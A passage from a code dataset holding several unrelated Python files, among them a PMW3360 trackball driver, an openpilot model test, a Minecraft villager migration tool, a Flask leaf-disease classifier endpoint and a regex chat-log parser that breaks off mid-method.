self.pmw3360_write(REG.SROM_Enable, 0x18)\n\n while not self.spi.try_lock():\n pass\n try:\n self.spi.configure(baudrate=self.baud, polarity=self.cpol, phase=self.cpha)\n self.pmw3360_start()\n self.spi.write(bytes([REG.SROM_Load_Burst | self.DIR_WRITE]))\n microcontroller.delay_us(15)\n \n for b in firmware:\n self.spi.write(bytes([b]))\n microcontroller.delay_us(15)\n \n finally:\n self.spi.unlock()\n self.pmw3360_stop() \n microcontroller.delay_us(1) \n\n def delta_to_int(self, high, low):\n comp = (high << 8) | low\n if comp & 0x8000:\n return (-1) * (0xFFFF + 1 - comp)\n return comp\n\n def pmw3360_read_motion(self):\n result = bytearray(12)\n while not self.spi.try_lock():\n pass\n try:\n self.spi.configure(baudrate=self.baud, polarity=self.cpol, phase=self.cpha)\n self.pmw3360_start()\n self.spi.write(bytes([REG.Motion_Burst & self.DIR_READ]))\n microcontroller.delay_us(35)\n self.spi.readinto(result)\n \n finally:\n self.spi.unlock()\n self.pmw3360_stop()\n microcontroller.delay_us(20)\n return result\n\n def during_bootup(self, keyboard):\n if keyboard.debug_enabled:\n print('Setting up PMW3360')\n \n self.pmw3360_start()\n self.pmw3360_stop()\n\n self.pmw3360_write(REG.Power_Up_Reset, 0x5A)\n time.sleep(0.1)\n self.pmw3360_read(REG.Motion)\n self.pmw3360_read(REG.Delta_X_L)\n self.pmw3360_read(REG.Delta_X_H)\n self.pmw3360_read(REG.Delta_Y_L)\n self.pmw3360_read(REG.Delta_Y_H)\n\n self.pwm3360_upload_srom() \n\n self.pmw3360_write(REG.Config2, 0)\n self.pmw3360_write(REG.Config1, 0x6) \n return\n if keyboard.debug_enabled:\n print('PMW3360 Product ID ', hex(self.pmw3360_read(REG.Product_ID)))\n print('PMW3360 Revision ID ', hex(self.pmw3360_read(REG.Revision_ID))) \n if self.pmw3360_read(REG.Observation) & 0x40:\n print('PMW3360: Sensor is running SROM')\n print('PMW3360: SROM ID: ', hex(self.pmw3360_read(REG.SROM_ID)))\n else:\n print('PMW3360: Sensor is not running SROM!') \n\n def before_matrix_scan(self, keyboard):\n return\n\n def after_matrix_scan(self, keyboard):\n return\n\n def before_hid_send(self, keyboard):\n return\n\n def after_hid_send(self, keyboard):\n motion = self.pmw3360_read_motion()\n if motion[0] & 0x80:\n if self.flip_xy:\n delta_x = self.delta_to_int(motion[5], motion[4])\n delta_y = self.delta_to_int(motion[3], motion[2])\n else:\n delta_x = self.delta_to_int(motion[3], motion[2])\n delta_y = self.delta_to_int(motion[5], motion[4])\n\n if self.invert_x:\n delta_x *= -1\n if self.invert_y:\n delta_y *= -1\n\n if delta_x < 0:\n self.pointing_device.report_x[0] = (delta_x & 0xFF) | 0x80\n else:\n self.pointing_device.report_x[0] = delta_x & 0xFF\n \n if delta_y < 0:\n self.pointing_device.report_y[0] = (delta_y & 0xFF) | 0x80\n else:\n self.pointing_device.report_y[0] = delta_y & 0xFF\n\n if keyboard.debug_enabled:\n print('Delta: ', delta_x, ' ', delta_y)\n \n if(not self.scroll_control and not self.volume_control):\n self.pointing_device.hid_pending = True\n keyboard._hid_helper.hid_send(self.pointing_device._evt)\n elif self.scroll_control:\n # vertical scroll\n self.v_scroll_ctr += 1\n if self.v_scroll_ctr >= self.scroll_res:\n if delta_y > 0:\n keyboard.tap_key(KC.MW_DN)\n \n if delta_y < 0:\n keyboard.tap_key(KC.MW_UP)\n\n self.v_scroll_ctr = 0\n else:\n self.v_scroll_ctr += 1\n if self.v_scroll_ctr >= self.scroll_res:\n if delta_y > 0:\n keyboard.tap_key(KC.VOLD)\n \n if delta_y < 0:\n keyboard.tap_key(KC.VOLU)\n\n self.v_scroll_ctr = 0\n \n self.pointing_device.report_x[0] = 0\n self.pointing_device.report_y[0] = 0 \n\n def on_powersave_enable(self, keyboard):\n return\n\n def on_powersave_disable(self, keyboard):\n return\n\n\n\n","repo_name":"kbjunky/Dactyl5","sub_path":"src/modules/pmw3360.py","file_name":"pmw3360.py","file_ext":"py","file_size_in_byte":7555,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"23"} +{"seq_id":"31865078758","text":"from math import *\nimport numpy as np\nfrom scipy.misc import derivative\nimport matplotlib.pyplot as plt\n\niterations = 100\n\ndef function(x):\n return x ** 2\n\ndef derivative_my(f, x, eps):\n return (f(x + eps) - f(x)) / eps\n\ndef grad(x0, alpha, eps, f):\n x = [x0]\n i = 0\n while i < iterations:\n i += 1\n xNew = x[-1] - alpha * derivative_my(f, x[-1], 1e-6)\n x.append(xNew)\n if abs(x[-1] - x[-2]) < eps:\n break\n return x[:-1], x[-1]\n\t\nfunc_vectorize = np.vectorize(function)\n\nx_data = np.arange(-4, 4, 0.01)\ny_data = func_vectorize(x_data)\n\ngradient_points, gradient_minimum = grad(3, 0.05, 0.0001, function)\n\nprint(\"Gradient descent points:\")\nprint(gradient_points)\nprint(\"\\nNumber of iterations:\")\nprint(len(gradient_points))\nprint(\"\\nMinimum:\")\nprint(gradient_minimum)\n\nder = derivative(function, 5, dx=1e-6)\nder_my = derivative_my(function, 5, 1e-6)\neps = abs(der - der_my)\nprint(\"\\nDerivative: \", der)\nprint(\"My derivative: \", der_my)\nprint(\"Eps: \", eps)\n\nplt.plot(x_data, y_data, label='Function')\nplt.scatter(gradient_points, func_vectorize(gradient_points), color=\"red\", label='Gradient descent')\nplt.scatter(gradient_minimum, function(gradient_minimum), color='green', label='Minimum')\nplt.legend(loc=\"upper left\")\nplt.show()","repo_name":"IvanVinnytskiy/MachineLearning","sub_path":"lab4/lab4.py","file_name":"lab4.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11942970871","text":"#!/usr/bin/env python3\nimport unittest\nimport numpy as np\nimport random\n\nimport cereal.messaging as messaging\nfrom cereal.visionipc import VisionIpcServer, VisionStreamType\nfrom openpilot.common.transformations.camera import tici_f_frame_size\nfrom openpilot.common.realtime import DT_MDL\nfrom openpilot.selfdrive.manager.process_config import managed_processes\nfrom openpilot.selfdrive.test.process_replay.vision_meta import meta_from_camera_state\n\nIMG = np.zeros(int(tici_f_frame_size[0]*tici_f_frame_size[1]*(3/2)), dtype=np.uint8)\nIMG_BYTES = IMG.flatten().tobytes()\n\nclass TestModeld(unittest.TestCase):\n\n def setUp(self):\n self.vipc_server = VisionIpcServer(\"camerad\")\n self.vipc_server.create_buffers(VisionStreamType.VISION_STREAM_ROAD, 40, False, *tici_f_frame_size)\n self.vipc_server.create_buffers(VisionStreamType.VISION_STREAM_DRIVER, 40, False, *tici_f_frame_size)\n self.vipc_server.create_buffers(VisionStreamType.VISION_STREAM_WIDE_ROAD, 40, False, *tici_f_frame_size)\n self.vipc_server.start_listener()\n\n self.sm = messaging.SubMaster(['modelV2', 'cameraOdometry'])\n self.pm = messaging.PubMaster(['roadCameraState', 'wideRoadCameraState', 'liveCalibration', 'lateralPlan'])\n\n managed_processes['modeld'].start()\n self.pm.wait_for_readers_to_update(\"roadCameraState\", 10)\n\n def tearDown(self):\n managed_processes['modeld'].stop()\n del self.vipc_server\n\n def _send_frames(self, frame_id, cams=None):\n if cams is None:\n cams = ('roadCameraState', 'wideRoadCameraState')\n\n cs = None\n for cam in cams:\n msg = messaging.new_message(cam)\n cs = getattr(msg, cam)\n cs.frameId = frame_id\n cs.timestampSof = int((frame_id * DT_MDL) * 1e9)\n cs.timestampEof = int(cs.timestampSof + (DT_MDL * 1e9))\n cam_meta = meta_from_camera_state(cam)\n\n self.pm.send(msg.which(), msg)\n self.vipc_server.send(cam_meta.stream, IMG_BYTES, cs.frameId,\n cs.timestampSof, cs.timestampEof)\n return cs\n\n def _wait(self):\n self.sm.update(5000)\n if self.sm['modelV2'].frameId != self.sm['cameraOdometry'].frameId:\n self.sm.update(1000)\n\n def test_modeld(self):\n for n in range(1, 500):\n cs = self._send_frames(n)\n self._wait()\n\n mdl = self.sm['modelV2']\n self.assertEqual(mdl.frameId, n)\n self.assertEqual(mdl.frameIdExtra, n)\n self.assertEqual(mdl.timestampEof, cs.timestampEof)\n self.assertEqual(mdl.frameAge, 0)\n self.assertEqual(mdl.frameDropPerc, 0)\n\n odo = self.sm['cameraOdometry']\n self.assertEqual(odo.frameId, n)\n self.assertEqual(odo.timestampEof, cs.timestampEof)\n\n def test_dropped_frames(self):\n \"\"\"\n modeld should only run on consecutive road frames\n \"\"\"\n frame_id = -1\n road_frames = list()\n for n in range(1, 50):\n if (random.random() < 0.1) and n > 3:\n cams = random.choice([(), ('wideRoadCameraState', )])\n self._send_frames(n, cams)\n else:\n self._send_frames(n)\n road_frames.append(n)\n self._wait()\n\n if len(road_frames) < 3 or road_frames[-1] - road_frames[-2] == 1:\n frame_id = road_frames[-1]\n\n mdl = self.sm['modelV2']\n odo = self.sm['cameraOdometry']\n self.assertEqual(mdl.frameId, frame_id)\n self.assertEqual(mdl.frameIdExtra, frame_id)\n self.assertEqual(odo.frameId, frame_id)\n if n != frame_id:\n self.assertFalse(self.sm.updated['modelV2'])\n self.assertFalse(self.sm.updated['cameraOdometry'])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"commaai/openpilot","sub_path":"selfdrive/modeld/tests/test_modeld.py","file_name":"test_modeld.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":44085,"dataset":"github-code","pt":"23"} +{"seq_id":"73586774460","text":"import sys\nfrom leveldb import LevelDB\nimport amulet_nbt\nfrom amulet_nbt import utf8_escape_decoder\nfrom mutf8 import encode_modified_utf8\nfrom pathlib import Path\nfrom dataclasses import dataclass\nfrom typing import Optional\nimport mc_migration_tool\n\n\ndef extract_player_server_keys(args):\n db_path = args.db_path\n output_path = Path(args.output_path)\n\n if output_path.exists():\n raise Exception('File exists')\n\n db = LevelDB(db_path)\n keys = list(db.keys())\n\n player_server_key_list = list(filter(lambda key: key.startswith(b'player_server_'), keys))\n player_server_key_str_list = list(map(lambda key: key.decode('utf-8'), player_server_key_list))\n\n player_server_keys_text = '\\n'.join(player_server_key_str_list) + '\\n'\n\n if output_path.exists():\n raise Exception('File exists')\n\n output_path.write_text(player_server_keys_text, encoding='utf-8')\n\n\ndef print_players_ender_chest(args):\n db_path = args.db_path\n input_path = Path(args.input_path)\n \n db = LevelDB(db_path)\n player_key_str_list = input_path.read_text(encoding='utf-8').splitlines()\n player_key_list = list(map(lambda key: key.encode('utf-8'), player_key_str_list))\n\n for player_key in player_key_list:\n player_nbt = amulet_nbt.load(db.get(player_key), compressed=False, little_endian=True, string_decoder=utf8_escape_decoder)\n player = player_nbt.compound\n\n ender_chest_inventory = player['EnderChestInventory']\n for item_stack in ender_chest_inventory:\n line = f\"{item_stack['Slot']}. {item_stack['Name']} x {item_stack['Count']}\"\n line += f\" (#{item_stack['Damage']})\"\n if 'tag' in item_stack:\n line += f\" ({item_stack['tag']})\"\n print(line)\n\n\ndef print_villagers(args):\n db_path = args.db_path\n\n db = LevelDB(db_path)\n for key in db.keys():\n try:\n nbt = amulet_nbt.load(db.get(key), compressed=False, little_endian=True, string_decoder=utf8_escape_decoder)\n except:\n continue\n\n # TAG_Compound: 10\n if nbt.tag.tag_id != 10:\n continue\n\n compound = nbt.compound\n\n identifier = str(compound.get_string('identifier')) if 'identifier' in compound else None\n if identifier != 'minecraft:villager_v2':\n continue\n\n villager = mc_migration_tool.bedrock.load_villager(compound)\n\n root = amulet_nbt._compound.CompoundTag()\n\n villager_data = amulet_nbt._compound.CompoundTag()\n\n # : Types\n java_villager_type_strings = [\n 'plains',\n 'desert',\n 'jungle',\n 'savanna',\n 'snow',\n 'swamp',\n 'taiga',\n ]\n bedrock_villager_mark_variant = villager.mark_variant\n if len(java_villager_type_strings) <= bedrock_villager_mark_variant:\n raise Exception(f'Unknown Villager MarkVariant: {bedrock_villager_mark_variant}')\n villager_data['type'] = amulet_nbt._string.StringTag(java_villager_type_strings[bedrock_villager_mark_variant])\n\n # : Profession\n java_villager_profession_strings = [\n None,\n 'farmer',\n 'fisherman',\n 'shepherd',\n 'fletcher',\n 'librarian',\n 'cartographer',\n 'cleric',\n 'armorer',\n 'weaponsmith',\n 'toolsmith',\n 'butcher',\n 'leatherworker',\n 'mason',\n 'nitwit',\n ]\n bedrock_villager_preferred_profession = villager.preferred_profession\n if bedrock_villager_preferred_profession not in java_villager_profession_strings:\n raise Exception(f'Unknown Villager PreferredProfession: {bedrock_villager_preferred_profession}')\n villager_data['profession'] = amulet_nbt._string.StringTag(bedrock_villager_preferred_profession)\n\n # : Tier -> Level\n java_villager_level_ints = [\n 1, # 0\n 2, # 1 (spawn with profession)\n 3, # 2\n 4, # 3\n 5, # 4 (highest)\n ]\n bedrock_villager_trade_tier = villager.trade_tier\n if len(java_villager_level_ints) <= bedrock_villager_trade_tier:\n raise Exception(f'Unknown Villager TradeTier: {bedrock_villager_trade_tier}')\n villager_data['level'] = amulet_nbt._int.IntTag(java_villager_level_ints[bedrock_villager_trade_tier])\n\n if villager.offers is None:\n continue\n\n # TODO: item id mappings\n offers = amulet_nbt._compound.CompoundTag()\n recipes = amulet_nbt._list.ListTag()\n for _recipe in villager.offers.recipes:\n recipe = amulet_nbt._compound.CompoundTag()\n\n java_enchantment_id_strs = {\n 0: 'minecraft:protection',\n 1: 'minecraft:fire_protection',\n 2: 'minecraft:feather_falling',\n 3: 'minecraft:blast_protection',\n 4: 'minecraft:projectile_protection',\n 5: 'minecraft:thorns',\n 6: 'minecraft:respiration',\n 7: 'minecraft:depth_strider',\n 8: 'minecraft:aqua_affinity',\n 9: 'minecraft:sharpness',\n 10: 'minecraft:smite',\n 11: 'minecraft:bane_of_arthropods',\n 12: 'minecraft:knockback',\n 13: 'minecraft:fire_aspect',\n 14: 'minecraft:looting',\n 15: 'minecraft:efficiency',\n 16: 'minecraft:silk_touch',\n 17: 'minecraft:unbreaking',\n 18: 'minecraft:fortune',\n 19: 'minecraft:power',\n 20: 'minecraft:punch',\n 21: 'minecraft:flame',\n 22: 'minecraft:infinity',\n 23: 'minecraft:luck_of_the_sea',\n 24: 'minecraft:lure',\n 25: 'minecraft:frost_walker',\n 26: 'minecraft:mending',\n 27: 'minecraft:binding_curse',\n 28: 'minecraft:vanishing_curse',\n 29: 'minecraft:impaling',\n 30: 'minecraft:riptide',\n 31: 'minecraft:loyalty',\n 32: 'minecraft:channeling',\n 33: 'minecraft:multishot',\n 34: 'minecraft:piercing',\n 35: 'minecraft:quick_charge',\n 36: 'minecraft:soul_speed',\n }\n\n def convert_recipe_item(bedrock_item: mc_migration_tool.bedrock.offers.BedrockRecipeItem) -> amulet_nbt._compound.CompoundTag:\n item = amulet_nbt._compound.CompoundTag()\n item['id'] = amulet_nbt._string.StringTag(bedrock_item.name)\n item['Count'] = amulet_nbt._int.IntTag(bedrock_item.count)\n item['Damage'] = amulet_nbt._int.IntTag(bedrock_item.damage)\n\n if bedrock_item.tag is not None:\n tag = amulet_nbt._compound.CompoundTag()\n if bedrock_item.tag.ench is not None:\n stored_enchantments = amulet_nbt._list.ListTag()\n for bedrock_ench in bedrock_item.tag.ench:\n ench = amulet_nbt._compound.CompoundTag()\n ench['id'] = amulet_nbt._string.StringTag(java_enchantment_id_strs[bedrock_ench.id])\n ench['lvl'] = amulet_nbt._int.ShortTag(bedrock_ench.lvl)\n stored_enchantments.append(ench)\n tag['StoredEnchantments'] = stored_enchantments\n item['tag'] = tag\n\n return item\n\n recipe['buy'] = convert_recipe_item(_recipe.buy_a)\n recipe['sell'] = convert_recipe_item(_recipe.sell)\n\n recipe['rewardExp'] = amulet_nbt._int.ByteTag(_recipe.reward_exp)\n recipe['maxUses'] = amulet_nbt._int.IntTag(_recipe.max_uses)\n recipes.append(recipe)\n\n offers['Recipes'] = recipes\n\n root['VillagerData'] = villager_data\n root['Offers'] = offers\n\n print(villager, file=sys.stderr)\n print(' '.join([\n '/summon',\n 'villager',\n f'{villager.pos.x:.0f}',\n f'{villager.pos.y:.0f}',\n f'{villager.pos.z:.0f}',\n root.to_snbt(),\n ]))\n\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers()\n subparser_extract_player_server_keys = subparsers.add_parser('extract_player_server_keys')\n subparser_extract_player_server_keys.add_argument('db_path', type=str)\n subparser_extract_player_server_keys.add_argument('-o', '--output_path', type=str, default='player_server_keys.txt')\n subparser_extract_player_server_keys.set_defaults(handler=extract_player_server_keys)\n\n subparser_players_ender_chest = subparsers.add_parser('players_ender_chest')\n subparser_players_ender_chest.add_argument('db_path', type=str)\n subparser_players_ender_chest.add_argument('-i', '--input_path', type=str, default='player_server_keys.txt')\n subparser_players_ender_chest.set_defaults(handler=print_players_ender_chest)\n\n subparser_villagers = subparsers.add_parser('villagers')\n subparser_villagers.add_argument('db_path', type=str)\n subparser_villagers.set_defaults(handler=print_villagers)\n\n args = parser.parse_args()\n if hasattr(args, 'handler'):\n args.handler(args)\n else:\n parser.print_help()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"aoirint/mc_migration_tool","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"41931112561","text":"import base64\n\nfrom .test_module import TestModule\n\n\nclass TestDuplicatesLines(TestModule):\n def setUp(self):\n super().setUp()\n self.AccountInvoice = self.env[\"account.invoice\"]\n self.Wizard = self.env[\"wizard.invoice2data.import\"]\n self.invoice_teddy_beer = self.env.ref(\n \"account_invoice_invoice2data.invoice_teddy_beer\"\n )\n # Prepare binary data\n self.invoice_name = \"brasserie-teddy-beer__2222-12-01__FA2212-3445.pdf\"\n invoice_file = open(str(self._get_invoice_path(self.invoice_name)), \"rb\")\n self.base64_data = base64.b64encode(invoice_file.read())\n\n def test_duplicate_lines(self):\n\n self.assertEqual(len(self.invoice_teddy_beer.invoice_line_ids), 2)\n\n # #######################\n # Part 1 : Import Invoice (1/2)\n # #######################\n wizard = self.Wizard.create(\n {\n \"invoice_file\": self.base64_data,\n \"invoice_filename\": self.invoice_name,\n # \"partner_id\": self.partner_relais_vert.id,\n \"invoice_id\": self.invoice_teddy_beer.id,\n }\n )\n self.assertEqual(wizard.state, \"import\")\n\n wizard.import_invoice()\n\n self.assertEqual(wizard.state, \"line_differences\")\n self.assertEqual(len(wizard.line_ids.filtered(lambda x: x.invoice_line_id)), 2)\n self.assertEqual(len(wizard.line_ids), 4)\n\n # ######################\n # Part 2 : Apply Changes (1/2)\n # ######################\n\n wizard.apply_changes()\n\n # Check Impact on invoice lines\n self.assertEqual(len(self.invoice_teddy_beer.invoice_line_ids), 4)\n\n # #######################\n # Part 3 : Import Invoice (2/2)\n # #######################\n wizard = self.Wizard.create(\n {\n \"invoice_file\": self.base64_data,\n \"invoice_filename\": self.invoice_name,\n \"invoice_id\": self.invoice_teddy_beer.id,\n }\n )\n self.assertEqual(wizard.state, \"import\")\n\n wizard.import_invoice()\n\n self.assertEqual(wizard.state, \"line_differences\")\n self.assertEqual(len(wizard.line_ids.filtered(lambda x: x.invoice_line_id)), 4)\n self.assertEqual(len(wizard.line_ids), 4)\n\n # ######################\n # Part 4 : Apply Changes (2/2)\n # ######################\n\n wizard.apply_changes()\n","repo_name":"grap/grap-odoo-business-supplier-invoice","sub_path":"account_invoice_invoice2data/tests/test_duplicate_lines.py","file_name":"test_duplicate_lines.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"70786649981","text":"\n\nimport time\n\ndef hmsTimeStamp(ctime=None):\n\tif not ctime:\n\t\tctime = int(time.time())\n\ttimetuple = time.localtime(ctime)\n\ttimestamp = 3600*timetuple[3]+60*timetuple[4]+timetuple[5]\n\treturn timestamp\n\ndef hmsTime(ctimestamp):\n\ttimes = ctimestamp % 60\n\ttimem = ((ctimestamp - times)/60) % 60\n\ttimeh = ((ctimestamp - (timem*60))/3600)\n\treturn (timeh, timem, times)","repo_name":"yrsegal/announcingbox","sub_path":"compiler/hmstime.py","file_name":"hmstime.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"30987996106","text":"from typing import Literal\n\nimport numpy\nfrom PIL import Image\n\nfrom invokeai.app.invocations.primitives import ImageField, ImageOutput\n\nfrom ..models.image import ImageCategory, ResourceOrigin\nfrom .baseinvocation import BaseInvocation, InputField, InvocationContext, invocation\n\n@invocation(\n \"img_channel_adjust\",\n title=\"Adjust Image Channel\",\n tags=[\"image\", \"red\", \"green\", \"blue\", \"alpha\", \"cyan\", \"magenta\", \"yellow\", \"black\", \"hue\", \"saturation\", \"luminosity\", \"value\", \"RGB\", \"RGBA\", \"CYMK\", \"YCbCr\", \"LAB\", \"HSV\", \"HSL\"],\n category=\"image\",\n)\nclass ImageChannelAdjustmentInvocation(BaseInvocation):\n \"\"\"Adjusts any channel of an image in any format.\"\"\"\n\n image: ImageField = InputField(description=\"The image to adjust\")\n mode: Literal[\"RGB\", \"RGBA\", \"CYMK\", \"YCbCr\", \"LAB\", \"HSV\"] = InputField(description=\"The color mode to convert to before adjusting\")\n channel: int = InputField(default=0, ge=0, le=3, description=\"Which channel to adjust\")\n method: Literal[\"Multiply\", \"Offset\"] = InputField(description=\"The type of adjustment to perform\")\n adjustment: float = InputField(default=1.0, ge=-255, le=255, description=\"The amount to adjust the channel by\")\n\n def invoke(self, context: InvocationContext) -> ImageOutput:\n pil_image = context.services.images.get_pil_image(self.image.image_name)\n\n # limit to 3 channels unless RGBA or CMYK\n if not (self.mode == \"RGBA\" or self.mode == \"CMYK\"):\n self.channel = min(self.channel, 2)\n\n # Convert PIL image to new format\n converted_image = numpy.array(pil_image.convert(self.mode))\n image_channel = converted_image[:, :, self.channel]\n\n # Adjust the channel value\n if self.method == \"Offset\":\n image_channel = numpy.clip(image_channel + self.adjustment, 0, 255)\n else:\n image_channel = numpy.clip(image_channel * self.adjustment, -255, 255) % 256\n \n # Put the channel back into the image\n converted_image[:, :, self.channel] = image_channel\n\n # Convert back to RGBA format and output\n pil_image = Image.fromarray(converted_image, mode=self.mode).convert(\"RGBA\")\n\n image_dto = context.services.images.create(\n image=pil_image,\n image_origin=ResourceOrigin.INTERNAL,\n image_category=ImageCategory.GENERAL,\n node_id=self.id,\n is_intermediate=self.is_intermediate,\n session_id=context.graph_execution_state_id,\n workflow=self.workflow,\n )\n\n return ImageOutput(\n image=ImageField(\n image_name=image_dto.image_name,\n ),\n width=image_dto.width,\n height=image_dto.height,\n )","repo_name":"dunkeroni/Invoke_AdjustImageChannelNode","sub_path":"adjust_image_channel.py","file_name":"adjust_image_channel.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"44243175541","text":"from flask import Flask,request,jsonify, json\n\nimport werkzeug\nimport numpy\nimport cv2\nimport pandas\nimport os\nimport pickle\nfrom tensorflow import keras\n\n\napp = Flask(__name__)\n\n@app.route('/leaf_prediction', methods=['GET'])\ndef leaf_prediction():\n imagefile = request.files['image']\n filename = werkzeug.utils.secure_filename(imagefile.filename)\n imagefile.save(\"./leaf_images_uploaded/\"+filename)\n\n leaf_image = cv2.imread(\"leaf_images_uploaded/\"+filename)\n print(\"leaf_image is \")\n print(leaf_image)\n leaf_image= cv2.cvtColor(leaf_image, cv2.COLOR_BGR2GRAY)\n leaf_image= cv2.resize(leaf_image, (64,64))\n leaf_image.shape=(1,64,64,1)\n\n trans_model = pickle.load(open(\"transformation_model.pkl\", 'rb'))\n loaded_model = keras.models.load_model('predictionmodel.h5')\n print(\"model summary\")\n print(loaded_model.summary())\n\n ans = trans_model.inverse_transform(loaded_model.predict(leaf_image).argmax(axis=1))\n\n final_answer = {\n \"disease\": ans[0]\n }\n\n response = app.response_class(response=json.dumps(final_answer),status=200,\n mimetype='application/json')\n \n return response\n\n\n@app.route('/test', methods=['GET'])\ndef test():\n return jsonify({\n \"message\":\"hello world\"\n })\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=7070)\n\n\n\n\n\n\n","repo_name":"JitGaye/newUpdated_models","sub_path":"crop_pred/hostit.py","file_name":"hostit.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"3276358547","text":"import re\nimport json\nimport os\nfrom threading import Thread\nimport shutil\nimport importlib\nfrom importlib import machinery\nimport time\n\nclass Parser:\n def __init__(self, inputPath):\n self.inPath = inputPath\n self.count = -1\n with open(inputPath, 'r',encoding='utf-8') as inFile:\n self.inData = json.load(inFile)\n\n self.len = len(self.inData['messages'])\n self.stepValue = int(self.len/100)\n self.done = False\n\n\n def getNext(self):\n \"\"\"returns next element from the input file\"\"\"\n self.count += 1\n if self.len > self.count:\n return self.inData['messages'][self.count]\n else:\n self.done = True\n return None\n\nclass Core(Thread):\n def __init__(self, inputPath, outputPath, expectedRegexes=None, data=None, dictionaryPath=None, progressEvent=None, updateDataEvent=None, finishedEvent=None, additional=True):\n Thread.__init__(self)\n self.cancel = False\n self.dictionarySearch = False\n print(\"\\n-----------------------Initialising input parser----------------------\\n\")\n self.inputPath = inputPath\n self.parser = Parser(inputPath)\n print(\"\\n--------------------------Initialising output-------------------------\\n\")\n self.outputFile = open(outputPath, \"w\")\n self.outputPath = outputPath\n\n \n self.compiledRegexes = []\n if dictionaryPath is not None:\n self.initDictionary(dictionaryPath=dictionaryPath)\n \n if additional:\n self.initAdditional()\n\n self.initRegexes(expectedRegexes=expectedRegexes)\n\n if data is None:\n self.output = {}\n else:\n self.output = data\n\n if progressEvent is not None:\n self.progressEvent = progressEvent\n else:\n self.progressEvent = self.dummy\n if updateDataEvent is not None:\n self.updateDataEvent = updateDataEvent\n else:\n self.updateDataEvent = self.dummy\n if finishedEvent is not None:\n self.finishedEvent = finishedEvent\n else:\n self.finishedEvent = self.dummy\n\n def initAdditional(self, additionalRegexLibPath='regexLib.json', additionalCodeLibpath='codeLib.py'):\n \"\"\"Throws key KeyError when the input file structure is incorrect\"\"\"\n print(\"\\n--------------------Initialising additional regexes-------------------\\n\")\n if additionalRegexLibPath == 'regexLib.json':\n additionalRegexLibPath = os.path.join(os.path.dirname(__file__), additionalRegexLibPath)\n\n self.additionalRegexLibPath = additionalRegexLibPath\n\n if additionalCodeLibpath == 'codeLib.py':\n loader = machinery.SourceFileLoader('codeLib', os.path.join(os.path.dirname(__file__),additionalCodeLibpath))\n self.additionalCodeModule = loader.load_module()\n else:\n loader = machinery.SourceFileLoader(os.path.basename(additionalCodeLibpath[:-3]), additionalCodeLibpath)\n self.additionalCodeModule = loader.load_module()\n\n with open(additionalRegexLibPath,'r') as rl:\n self.additionalList = json.load(rl, encoding='utf-8')['additional']\n for x in self.additionalList:\n reg = self.additionalList[x]['regex']\n funct = self.additionalList[x]['code']\n if reg is not '':\n print(\"Init regex \", x, \" \", reg)\n if funct is not '':\n self.compiledRegexes.append([re.compile(reg), getattr(self.additionalCodeModule, funct), x])\n else:\n self.compiledRegexes.append([re.compile(reg), None, x])\n else:\n print(\"Regex empty, not compiling\")\n\n def initRegexes(self, expectedRegexes=None, regexLibPath='regexLib.json', codeLibPath='codeLib.py'):\n \"\"\"Throws key KeyError when the input file structure is incorrect\"\"\"\n print(\"\\n-------------------------Initialising regexes-------------------------\\n\")\n if regexLibPath == 'regexLib.json':\n regexLibPath = os.path.join(os.path.dirname(__file__), regexLibPath)\n self.regexPath = regexLibPath\n\n if codeLibPath == 'codeLib.py':\n loader = machinery.SourceFileLoader('codeLib', os.path.join(os.path.dirname(__file__),codeLibPath))\n self.codeModule = loader.load_module()\n else:\n loader = machinery.SourceFileLoader(os.path.basename(codeLibPath[:-3]), codeLibPath)\n self.codeModule = loader.load_module()\n self.codeLibPath = codeLibPath\n\n with open(regexLibPath,'r') as rl:\n self.regexList = json.load(rl)['main']\n if expectedRegexes is not None:\n for x in expectedRegexes:\n reg = self.regexList[x]['regex']\n funct = self.regexList[x]['code']\n if reg is not '':\n print(\"Init regex \", x, \" \", reg)\n if funct is not '':\n self.compiledRegexes.append([re.compile(reg), getattr(self.codeModule, funct), x])\n else:\n self.compiledRegexes.append([re.compile(reg), None, x])\n else:\n print(\"Regex empty, not compiling\") \n else:\n for x in self.regexList:\n reg = self.regexList[x]['regex']\n funct = self.regexList[x]['code']\n if reg is not '':\n print(\"Init regex \", x, \" \", reg)\n if funct is not '':\n self.compiledRegexes.append([re.compile(reg), getattr(self.codeModule, funct), x])\n else:\n self.compiledRegexes.append([re.compile(reg), None, x])\n else:\n print(\"Regex empty, not compiling\")\n\n def initDictionary(self,dictionaryPath, regexLibPath='regexLib.json'):\n print(\"\\n------------------------Initialising dictionary-----------------------\\n\")\n if regexLibPath == 'regexLib.json':\n regexLibPath = os.path.join(os.path.dirname(__file__), regexLibPath)\n self.dictRegexPath = regexLibPath\n self.dictionaryPath = dictionaryPath\n self.dictionary = {}\n self.dictionarySearch = True\n with open(self.dictionaryPath, \"r\", encoding='utf-8') as f:\n for line in f:\n self.dictionary[line.strip()] = None\n\n self.dictionaryCompiledRegexes = []\n with open(regexLibPath,'r') as rl:\n self.dictionaryRegexList = json.load(rl)['dictionary']\n for x in self.dictionaryRegexList:\n reg = self.dictionaryRegexList[x]['regex']\n if reg is not '':\n print(\"Init dictionary regex \", x, \" \", reg)\n self.dictionaryCompiledRegexes.append([re.compile(reg), x])\n else:\n print(\"Regex empty, not compiling\")\n\n def run(self):\n begin = time.time()\n if self.dictionarySearch:\n for regex in 